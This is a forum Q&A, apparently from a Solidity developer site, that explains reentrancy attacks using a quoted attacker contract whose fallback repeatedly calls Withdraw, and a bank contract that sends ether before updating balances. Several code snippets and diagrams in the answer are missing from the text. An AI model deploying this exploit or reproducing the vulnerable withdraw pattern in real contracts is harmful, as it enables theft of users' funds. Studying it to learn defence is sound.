I want to understand the concept of reentrancy attack in a smart contract. I know that a Malicious contract starts executing the code of another contract and this results in reentrancy attack. It can happen when in a contract a function receives ether. In this case a fallback function comes into play. But I can't understand how a contract gets control of another contract and recursively calls its functions like withdraw(). Kindly explain me this concept using the following two contracts, i got from a research paper:
contract Malicious {
uint balance;
MyBank bank = MyBank(0xdeadbeef8badf00d...);
function Malicious(){
balance = msg.value;
bank.Deposit.value(balance)();
bank.Withdraw.value(0)(balance); // forwarding gas
}
function (){ // fallback function
bank.Withdraw.value(0)(balance);
}
}
I can see that the contract has a Deposit() function and an unnamed fall back function(). This fall back function is calling
Withdraw.value(0)(balance);
What does the above call mean (particularly why it has two set of parenthesis?) and how it becomes recursive?
I am also showing the bank contract:
contract MyBank {
mapping (address=>uint) balances;
function Deposit() {
balances[msg.sender] += msg.value;
}
function Withdraw(uint amount) {
if(balances[msg.sender] >= amount) {
msg.sender.send(amount);
balances[msg.sender] -= amount;
}
}
function Balance() constant returns(uint) {
return balances[msg.sender];
}
}
Zulfi.
Best Answer
A computer program or subroutine is called reentrant if it can be interrupted in the middle of its execution and then safely be called again before its previous invocations complete execution. The interruption could be caused by an internal action such as a jump or call, or by an external action such as an interrupt or signal. Once the reentered invocation completes, the previous invocations will resume correct execution. And doing this with some piece of code will causes an Reentrancy Attack.
Now let's see this line of code:
bank.Withdraw.value(0)(balance);
This line of code means, call the function
Withdraw
with argument balance such asWithdraw(balance)
but also set the value of this function call as 0 which is done byvalue(0)
. So the in simple english we can say this line of code as:Let say the above line of code is as follows:
that mean, only set the
value
of functionWithdraw
as0
but did not call.Before going further to actual attack here, let me explain you a little bit about fallback functions in contract.
Now come to the actual attack. Your Malicious contract is actually an attacker contract, because it has a malicious fallback function.
this function is actually calling again to bank contract by
withdraw
function which is actually a line of attack.Now see the
MyBank
contract which is innocent baby contract and does not know that outside world is so cruel and called the external function fromwithdraw
function.msg.sender.send(amount);
this line is actually an external call to Malicious contract's fallback function before the execution ofwithdraw
function completes. It becomes like this.And this function calling will continue unless MyBank contract drain out of all it's ether (via gas or value). The recursive tree will look like this
I hope this answer will help you.